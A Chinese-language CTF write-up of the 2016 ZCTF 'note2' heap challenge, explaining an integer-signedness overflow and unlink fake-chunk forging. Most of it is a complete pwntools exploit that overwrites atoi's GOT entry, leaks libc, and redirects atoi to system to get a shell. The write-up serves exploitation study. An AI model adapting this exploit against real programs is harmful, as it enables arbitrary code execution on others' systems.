本文最后更新于 2024年10月23日 晚上
2016 ZCTF note2–unlink
很久没打unlink了,上一次打unlink还是将近一年前,如此怠惰
温习了一下重命名,重新指定类型啥的ida操作(重新指定类型没用上:{)
溢出点:
其中 i 是 unsigned 类型,lenth 为 int 类型,所以两者在 for 循环相比较的时候,lenth -1 的结果会被视为 unsigned 类型

输入0也可以符合这个判断

unlink需要伪造堆块,保证fd->bk == p == bk->fd,同时,要保证下一个块的prev_size与伪造的堆块大小相符。
主要是为了复健,就不多描述了。
长知识:chunk0伪造的块,中间有chunk1,释放chunk2,也可以与chunk0去合并。
从管理的index_of_chunk来看,1被free掉后重新创建占据了3的位置。
伪造堆块这两种都可以
1 2 3
| payload1 = b"A"*8 + p64 + p64 + p64 + b"b"*0x40 +p64 #payload1 = b'A'*8+ p64 + p64 +p64
|
第一个是自己手动填了后一个的pre_size是0x60
第二个直接算出来到chunk2的pre_size的长度。
delete之后number没有–,所以一直在往下占用index_of_chunk。
写的十分简略,只记录了我在复健的问题,详细可以参考ctfwiki
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import* context(log_level='debug',arch='amd64',os='linux') p=process('./note2')
sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
def debug(): gdb.attach(p) pause(1) index_of_chunk = 0x602120 fd = index_of_chunk - 0x18 bk = index_of_chunk - 0x10 atoi_got = 0x602088
sl(b"AA") sl(b"BB")
def new(lenth,content): ru("option") sl(b'1') ru('Input the length of the note content:(less than 128)\n') sl(str(lenth)) ru('content') sl(content)
def show(index): ru('option') sl(b"2") rl() sl(str(index))
def dele(index): ru('option') sl(b'4') rl() sl(str(index))
def edit(index,content): ru('option') sl(b'3') rl() sl(str(index)) rl() sl(b'1') rl() sl(content)
''' #test of def new(0x10,b"AAAAAAA") edit(0,b'BBBB') show(0) dele(0) ''' payload1 = b"A"*8 + p64(0x61) + p64(fd) + p64(bk) + b"b"*0x40 +p64(0x60)
new(0x80,payload1) new(0,b"AA") new(0x80,b"AA")
dele(1) payload = b"A"*0x10 + p64(0xa0) + p64(0x90) new(0,payload)
dele(2)
edit(0,b"A"*(0x18)+p64(atoi_got)*4) show(0)
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
libc = ELF('/home/kali/Desktop/libc-2.23.so')
libc_base = atoi_addr - libc.sym['atoi'] print(hex(libc_base))
one_gadget = libc_base + 0xf02a4
system_addr = libc_base + libc.sym['system'] edit(0,p64(system_addr)) sl(b'/bin/sh')
p.interactive()
|